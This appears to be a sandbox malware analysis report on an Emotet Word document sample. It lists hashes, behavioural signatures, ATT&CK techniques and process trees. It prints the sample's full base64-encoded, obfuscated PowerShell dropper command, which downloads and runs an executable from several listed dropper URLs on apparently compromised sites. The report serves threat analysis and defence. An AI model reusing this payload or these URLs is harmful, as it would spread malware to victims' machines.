e6bb4b2e5f64a9731c9bcdc71588f88a8a7859bcb6c7660ed8dfeec07f866de0

General

Target
emotet_e1_e6bb4b2e5f64a9731c9bcdc71588f88a8a7859bcb6c7660ed8dfeec07f866de0_2020-10-28__110715949316._fpx.doc
Size 218KB
Sample201028-k7894mgrjs
SHA256 e6bb4b2e5f64a9731c9bcdc71588f88a8a7859bcb6c7660ed8dfeec07f866de0
MD5 eae76fb23152f5a493230fb3762cd34f
SHA1 b3f8d32a2b92c7b8a1516d94e91e54b6872f3a40
SHA512 18a5e154f06101056977ab0b2d09ec22411cfc754c0b780d2e32e87342c53c2826ba21446a0d4bddc332aaf55e74ff8aead7be6c92a78efccb2ed60b55277c7a
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://servitekifix.com/wp-admin/C/
exe.dropper
http://www.pacificfe.com/shadow-health/nQ/
exe.dropper
http://bridgestoworkapp.com/wp-content/c1/
exe.dropper
http://www.ruiermi.com/wp-admin/jmb/
exe.dropper
http://edirnereklamajansi.com/wp-includes/dN/
exe.dropper
https://dartzeel.com/wp-content/yf/
exe.dropper
https://datablockssolutions.com/rgit/kd6/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1824	3536	POwersheLL.exe	65

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1824	POwersheLL.exe

Executes dropped EXE 1 IoCs

pid	Process
3824	X1tr5p.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1824	POwersheLL.exe
1824	POwersheLL.exe
1824	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1824	POwersheLL.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3824	X1tr5p.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_e6bb4b2e5f64a9731c9bcdc71588f88a8a7859bcb6c7660ed8dfeec07f866de0_2020-10-28__110715949316._fpx.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3984

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgACQASwBkAHoAaABBAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAIAAnAC4AZABpAFIAZQBDAFQATwByAFkAJwAsACcAbQAnACwAJwAuAGkATwAnACwAJwBzAHkAUwBUAEUAJwApACAAIAA7AFMARQBUAC0ASQB0AGUAbQAgACAAVgBhAFIAaQBBAGIAbABFADoAeQBtADUAZwByACAAKAAgACAAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsANgB9AHsAOAB9AHsANAB9AHsANwB9AHsAMgB9AHsAMQB9AHsANQB9AHsAMwB9ACIAIAAtAEYAJwBTAHkAcwB0AEUAbQAuAE4ARQBUAC4AcwBlAHIAJwAsACcAbQAnACwAJwB0ACcALAAnAGcARQByACcALAAnAE8AJwAsACcAYQBOAEEAJwAsACcAVgBJACcALAAnAGkATgAnACwAJwBjAGUAcAAnACkAKQA7ACQAVABwAHoAbABuADMAdgA9ACgAKAAnAEQAZAAnACsAJwBqAGUAagAnACkAKwAnAGkAJwArACcAXwAnACkAOwAkAEoAbAAzAHkANgBkAGcAPQAkAEIAMQAzAGgAcQA5AF8AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEUAOQBnAHgANABqAGgAOwAkAEgAbwA4AHEAbwA2AGIAPQAoACgAJwBZACcAKwAnAGQAOAAnACkAKwAoACcAZQAzACcAKwAnADkAYQAnACkAKQA7ACAAIAAoACAAIABnAGUAVAAtAFYAYQByAGkAYQBiAEwARQAgACAASwBkAHoAaABBACAAIAApAC4AdgBBAGwAVQBlADoAOgAiAEMAUgBFAGEAVABgAEUAZABgAGkAcgBlAGMAVABgAG8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAUQA5ACcAKwAoACcATABYACcAKwAnAHMANgBiAGgAJwArACcAYQAnACkAKwAnAGMAUQAnACsAJwA5AEwAJwArACgAJwBSACcAKwAnAGQAMgAnACkAKwAoACcAcgAnACsAJwBzADUAYgAnACsAJwBRADkAJwApACsAJwBMACcAKQAuACIAUgBFAFAATABgAEEAYwBlACIAKAAoACcAUQAnACsAJwA5AEwAJwApACwAJwBcACcAKQApACkAOwAkAEMAbQBwADMAYwA1ADkAPQAoACcATABwACcAKwAnAGYAJwArACgAJwBwAHYAMAAnACsAJwA5ACcAKQApADsAIAAgACgAVgBBAFIASQBhAEIAbABlACAAIAB5AG0ANQBHAFIAIAAgAC0AdgBBAEwAdQBFAG8AbgAgACkAOgA6ACIAcwBgAEUAQwBVAFIASQB0AHkAYABQAFIAbwBUAGAATwBjAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADEANgA2AGwAdQBhAD0AKAAnAFIAJwArACgAJwB3AGoAbgAnACsAJwBiADYAdAAnACkAKQA7ACQATQBpAGQAegAxAGwAXwAgAD0AIAAoACgAJwBYADEAJwArACcAdAAnACkAKwAoACcAcgAnACsAJwA1AHAAJwApACkAOwAkAEwAcgBjAGEAMAAxAHcAPQAoACcAWgBmACcAKwAnAF8AaQAnACsAKAAnAGIAYwAnACsAJwBmACcAKQApADsAJABPAGwAaQBkAHIAdQB1AD0AKAAoACcAUAAnACsAJwA4ADgAcwA3AHEAJwApACsAJwByACcAKQA7ACQASAA3ADMAeABxAGEANwA9ACQASABPAE0ARQArACgAKAAoACcAZABvAHUAWAAnACsAJwBzADYAYgBoAGEAJwArACcAYwAnACkAKwAoACcAZABvAHUAUgBkACcAKwAnADIAJwApACsAJwByAHMAJwArACgAJwA1ACcAKwAnAGIAZABvAHUAJwApACkALQBSAGUAcABsAGEAQwBFACAAKAAnAGQAbwAnACsAJwB1ACcAKQAsAFsAYwBIAEEAUgBdADkAMgApACsAJABNAGkAZAB6ADEAbABfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATQBrAHAAbwBqAHQAYgA9ACgAKAAnAEIAYgBrAGkAJwArACcAYgAnACkAKwAnAHgAcgAnACkAOwAkAFkAdAA0AGYAOQBfAHkAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AdwBlAGIAQwBMAEkARQBuAFQAOwAkAEgAdQA5AGkAMQB2AHQAPQAoACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAXQBbACcAKwAnACAAJwApACsAJwAoACcAKwAoACcAMAAgAGgAdQBCACcAKwAnAEoAJwApACsAKAAnACAAJwArACcAWwBdACcAKQArACgAKAAnACAAWwBdACcAKwAnAHcAXQBbACAAKAAwACcAKwAnACAAJwArACcAaAAnACkAKQArACgAJwB1ACcAKwAnAEIASgAnACkAKwAoACcAIABbAF0AIAAnACsAJwBbAF0AdwBzAGUAJwArACcAcgAnACsAJwB2ACcAKQArACcAaQAnACsAKAAnAHQAZQBrAGkAZgAnACsAJwBpACcAKQArACcAeAAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0AXQBbACcAKwAnACAAJwApACsAKAAoACcAKAAwACAAJwArACcAaAB1ACcAKQApACsAKAAnAEIASgAnACsAJwAgAFsAJwArACcAXQAgAFsAXQB3AHcAcAAtAGEAZAAnACkAKwAnAG0AaQAnACsAKAAnAG4AJwArACcAXQBbACAAJwApACsAKAAoACcAKAAwACcAKQApACsAJwAgACcAKwAnAGgAJwArACgAJwB1ACcAKwAnAEIASgAnACkAKwAnACAAWwAnACsAKAAnAF0AIABbACcAKwAnAF0AJwApACsAKAAnAHcAJwArACcAQwBdAFsAJwApACsAKAAoACcAIAAoADAAJwArACcAIABoACcAKQApACsAJwB1ACcAKwAoACcAQgBKACcAKwAnACAAJwApACsAJwBbACcAKwAnAF0AJwArACgAJwAgAFsAXQB3AEAAaAB0ACcAKwAnAHQAJwArACcAcAAnACkAKwAoACcAOgBdACcAKwAnAFsAJwApACsAJwAgACcAKwAnACgAJwArACgAJwAwACAAaAB1ACcAKwAnAEIASgAgACcAKwAnAFsAJwApACsAJwBdACAAJwArACcAWwAnACsAKAAoACcAXQB3AF0AJwArACcAWwAnACsAJwAgACcAKwAnACgAMAAgAGgAJwApACkAKwAoACcAdQBCACcAKwAnAEoAIABbACcAKQArACgAJwBdACcAKwAnACAAWwAnACkAKwAoACcAXQB3AHcAdwB3AC4AcABhACcAKwAnAGMAJwArACcAaQAnACsAJwBmAGkAYwAnACkAKwAoACcAZgBlAC4AYwAnACsAJwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAnACsAJwAwACcAKwAnACAAJwArACcAaAB1AEIASgAnACkAKQArACcAIABbACcAKwAoACcAXQAnACsAJwAgAFsAXQB3ACcAKQArACgAJwBzAGgAYQAnACsAJwBkACcAKQArACgAJwBvAHcAJwArACcALQAnACkAKwAnAGgAJwArACgAJwBlACcAKwAnAGEAbAB0AGgAJwApACsAJwBdAFsAJwArACgAKAAnACAAKAAnACkAKQArACcAMAAgACcAKwAnAGgAJwArACcAdQAnACsAJwBCACcAKwAnAEoAJwArACcAIAAnACsAKAAnAFsAXQAgAFsAXQAnACsAJwB3AG4AJwArACcAUQAnACsAJwBdAFsAIAAnACkAKwAoACgAJwAoACcAKwAnADAAIABoAHUAJwApACkAKwAoACcAQgAnACsAJwBKACAAWwBdACcAKQArACcAIABbACcAKwAoACcAXQB3AEAAJwArACcAaAAnACkAKwAoACgAJwB0AHQAJwArACcAcAA6ACcAKwAnAF0AWwAgACgAJwArACcAMAAgAGgAdQBCACcAKQApACsAJwBKACcAKwAnACAAJwArACgAJwBbAF0AJwArACcAIABbACcAKQArACgAJwBdAHcAJwArACcAXQBbACcAKQArACgAKAAnACAAKAAnACkAKQArACgAJwAwACAAJwArACcAaAB1AEIASgAgAFsAJwApACsAKAAnAF0AIABbACcAKwAnAF0AdwBiACcAKQArACcAcgAnACsAJwBpAGQAJwArACgAJwBnAGUAJwArACcAcwB0AG8AJwArACcAdwAnACsAJwBvAHIAawBhAHAAcAAuACcAKQArACgAKAAnAGMAbwBtACcAKwAnAF0AWwAgACgAJwApACkAKwAnADAAIAAnACsAJwBoAHUAJwArACcAQgBKACcAKwAoACcAIABbACcAKwAnAF0AIABbACcAKwAnAF0AdwB3AHAALQBjAG8AbgAnACkAKwAnAHQAJwArACgAKAAnAGUAJwArACcAbgB0AF0AWwAgACgAJwApACkAKwAoACcAMAAnACsAJwAgACcAKwAnAGgAJwArACcAdQBCAEoAIABbAF0AJwApACsAJwAgACcAKwAoACcAWwAnACsAJwBdAHcAYwAxAF0AJwApACsAJwBbACAAJwArACcAKAAnACsAJwAwACcAKwAoACcAIABoAHUAJwArACcAQgAnACkAKwAoACcASgAgAFsAJwArACcAXQAnACkAKwAoACcAIABbAF0AdwAnACsAJwBAACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAKAAoACcAOgBdAFsAIAAoADAAJwArACcAIAAnACkAKQArACcAaAB1ACcAKwAnAEIASgAnACsAJwAgAFsAJwArACcAXQAgACcAKwAoACgAJwBbAF0AJwArACcAdwBdAFsAIAAoACcAKwAnADAAIAAnACkAKQArACgAJwBoACcAKwAnAHUAQgAnACkAKwAnAEoAIAAnACsAJwBbAF0AJwArACcAIABbACcAKwAoACcAXQB3AHcAJwArACcAdwAnACkAKwAoACcAdwAuAHIAJwArACcAdQAnACsAJwBpAGUAJwApACsAKAAnAHIAbQAnACsAJwBpAC4AYwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAwACcAKwAnACAAJwArACcAaAB1ACcAKQApACsAKAAnAEIASgAgACcAKwAnAFsAXQAgAFsAJwApACsAKAAnAF0AdwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAKAAoACcAaQBuACcAKwAnAF0AJwArACcAWwAgACgAJwApACkAKwAnADAAJwArACgAJwAgAGgAJwArACcAdQAnACkAKwAoACcAQgBKACcAKwAnACAAJwApACsAKAAnAFsAJwArACcAXQAgAFsAXQAnACsAJwB3ACcAKQArACcAagBtACcAKwAoACcAYgAnACsAJwBdAFsAIAAnACkAKwAoACgAJwAoADAAJwArACcAIABoAHUAQgAnACkAKQArACcASgAnACsAJwAgACcAKwAnAFsAXQAnACsAJwAgAFsAJwArACcAXQAnACsAKAAnAHcAJwArACcAQABoAHQAdABwACcAKQArACgAJwA6ACcAKwAnAF0AWwAnACkAKwAoACgAJwAgACgAMAAnACsAJwAgAGgAdQAnACsAJwBCAEoAJwArACcAIAAnACkAKQArACgAKAAnAFsAXQAgAFsAXQAnACsAJwB3AF0AJwArACcAWwAgACgAMAAgAGgAJwArACcAdQBCACcAKQApACsAJwBKACcAKwAnACAAJwArACgAJwBbAF0AIAAnACsAJwBbAF0AJwArACcAdwBlACcAKQArACgAJwBkACcAKwAnAGkAcgBuACcAKQArACcAZQByACcAKwAoACcAZQAnACsAJwBrAGwAYQBtAGEAJwArACcAagBhAG4AcwBpAC4AYwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAnACsAJwAwACcAKQApACsAJwAgACcAKwAnAGgAJwArACgAJwB1ACcAKwAnAEIASgAnACkAKwAoACcAIABbAF0AIABbACcAKwAnAF0AdwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAJwApACsAJwBkAGUAJwArACgAKAAnAHMAJwArACcAXQBbACAAJwArACcAKAAwACcAKwAnACAAaAB1AEIASgAnACkAKQArACgAJwAgAFsAJwArACcAXQAnACkAKwAnACAAJwArACcAWwBdACcAKwAoACcAdwAnACsAJwBkAE4AXQAnACkAKwAnAFsAJwArACgAKAAnACAAJwArACcAKAAwACAAaAAnACkAKQArACcAdQAnACsAKAAnAEIASgAgAFsAJwArACcAXQAgACcAKQArACgAJwBbAF0AdwBAACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAoACgAJwA6AF0AWwAgACgAMAAnACsAJwAgACcAKQApACsAKAAnAGgAdQBCACcAKwAnAEoAJwApACsAKAAnACAAWwBdACcAKwAnACAAJwApACsAKAAnAFsAXQAnACsAJwB3AF0AWwAnACkAKwAnACAAJwArACgAKAAnACgAMAAgACcAKwAnAGgAJwApACkAKwAoACcAdQBCACcAKwAnAEoAJwApACsAJwAgAFsAJwArACgAJwBdACAAWwBdAHcAJwArACcAZAAnACsAJwBhAHIAdAAnACkAKwAnAHoAJwArACgAJwBlAGUAbAAuAGMAJwArACcAbwBtAF0AJwArACcAWwAgACcAKQArACgAKAAnACgAJwArACcAMAAgACcAKQApACsAJwBoAHUAJwArACcAQgAnACsAKAAnAEoAIAAnACsAJwBbACcAKQArACgAJwBdACcAKwAnACAAWwBdAHcAJwApACsAJwB3AHAAJwArACcALQAnACsAJwBjACcAKwAnAG8AJwArACgAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwBdAFsAJwArACcAIAAoADAAIABoAHUAQgAnACkAKQArACgAJwBKACcAKwAnACAAWwBdACcAKQArACgAKAAnACAAWwBdACcAKwAnAHcAeQBmAF0AWwAgACgAJwArACcAMAAgAGgAdQBCAEoAIABbAF0AJwArACcAIAAnACsAJwBbAF0AJwArACcAdwBAAGgAdAB0AHAAcwA6ACcAKQApACsAJwBdACcAKwAoACgAJwBbACAAKAAwACcAKwAnACAAaAAnACkAKQArACcAdQBCACcAKwAoACcASgAnACsAJwAgAFsAJwArACcAXQAgAFsAXQAnACsAJwB3AF0AWwAgACcAKQArACgAKAAnACgAMAAgAGgAdQBCACcAKwAnAEoAIAAnACkAKQArACcAWwAnACsAKAAnAF0AJwArACcAIABbAF0AdwAnACsAJwBkAGEAdABhAGIAbAAnACsAJwBvAGMAJwApACsAJwBrAHMAJwArACgAJwBzAG8AbAB1ACcAKwAnAHQAJwApACsAJwBpACcAKwAoACcAbwBuACcAKwAnAHMAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAKAAnAG0AXQBbACcAKwAnACAAJwArACcAKAAwACAAJwApACkAKwAnAGgAdQAnACsAJwBCACcAKwAnAEoAJwArACcAIAAnACsAKAAnAFsAXQAgACcAKwAnAFsAJwApACsAKAAnAF0AJwArACcAdwByACcAKQArACgAJwBnAGkAJwArACcAdAAnACkAKwAnAF0AWwAnACsAJwAgACcAKwAoACgAJwAoACcAKwAnADAAIABoACcAKwAnAHUAQgBKACAAJwApACkAKwAnAFsAXQAnACsAJwAgACcAKwAoACcAWwBdAHcAJwArACcAawBkADYAJwArACcAXQBbACcAKQArACgAKAAnACAAKAAnACkAKQArACgAJwAwACcAKwAnACAAaAAnACkAKwAoACcAdQBCACcAKwAnAEoAIAAnACkAKwAoACcAWwBdACAAWwAnACsAJwBdAHcAJwApACkAKQAuACIAUgBFAGAAUABgAEwAYQBDAEUAIgAoACgAKAAoACcAXQAnACsAJwBbACAAJwApACsAJwAoACcAKwAoACcAMAAgACcAKwAnAGgAdQBCAEoAIAAnACsAJwBbACcAKQArACgAJwBdACAAWwAnACsAJwBdAHcAJwApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBQAGAATABpAHQAIgAoACQAVAB1ADAAZwB2AGwAXwAgACsAIAAkAEoAbAAzAHkANgBkAGcAIAArACAAJABYAGsAcABjADUAZQB6ACkAOwAkAFIAOAAyADMAeQAzADgAPQAoACcASAAyACcAKwAoACcAYgAnACsAJwBwAGsAbQAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABSADIAdwBhAHUAdQB3ACAAaQBuACAAJABIAHUAOQBpADEAdgB0ACkAewB0AHIAeQB7ACQAWQB0ADQAZgA5AF8AeQAuACIARABgAG8AVwBOAEwAYABvAEEAZABgAEYASQBsAEUAIgAoACQAUgAyAHcAYQB1AHUAdwAsACAAJABIADcAMwB4AHEAYQA3ACkAOwAkAEsAMgAyAGwAcgBsAHMAPQAoACgAJwBIAHQAJwArACcAcwAnACkAKwAnAF8AJwArACgAJwBlACcAKwAnADAAeQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABIADcAMwB4AHEAYQA3ACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAANAA4ADYANAA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAnACkAKwAnADMAMgAnACsAJwBfAFAAJwArACgAJwByAG8AJwArACcAYwAnACsAJwBlAHMAcwAnACkAKQApAC4AIgBDAGAAUgBFAGAAQQBUAEUAIgAoACQASAA3ADMAeABxAGEANwApADsAJABTAHUAZgA3ADEAcwBhAD0AKAAnAFgAJwArACcANwA2ACcAKwAoACcAagB1AHcAJwArACcAdgAnACkAKQA7AGIAcgBlAGEAawA7ACQATAB5AGMAbwBuAGMAbgA9ACgAKAAnAFAAcgBmACcAKwAnAGoAJwApACsAJwA5ACcAKwAnADgAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAYwB1ADMAdwBkAHoAPQAoACcAVAAnACsAKAAnAHkAJwArACcAdQBwAHkAOAAnACkAKwAnADIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1824

C:\Users\Admin\Xs6bhac\Rd2rs5b\X1tr5p.exe
C:\Users\Admin\Xs6bhac\Rd2rs5b\X1tr5p.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3824

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1824-5-0x00007FFC67CE0000-0x00007FFC686CC000-memory.dmp

Download

memory/1824-6-0x0000024467A90000-0x0000024467A91000-memory.dmp

Download

memory/1824-7-0x0000024467DA0000-0x0000024467DA1000-memory.dmp

Download

memory/3984-0-0x00007FFC6F460000-0x00007FFC6FA97000-memory.dmp

Download

memory/3984-1-0x00000213990F5000-0x0000021399106000-memory.dmp

Download

memory/3984-2-0x00000213990F5000-0x0000021399106000-memory.dmp

Download

memory/3984-3-0x00000213990F5000-0x0000021399106000-memory.dmp

Download

memory/3984-4-0x000002139921F000-0x0000021399222000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads